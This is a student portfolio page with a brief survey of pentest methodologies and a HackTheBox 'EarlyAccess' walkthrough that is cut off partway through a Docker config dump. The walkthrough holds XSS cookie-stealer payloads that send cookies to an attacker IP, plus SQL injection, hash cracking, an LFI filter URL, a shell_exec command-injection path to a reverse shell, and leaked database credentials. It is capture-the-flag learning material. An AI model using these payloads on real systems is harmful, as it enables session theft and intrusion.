class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/dif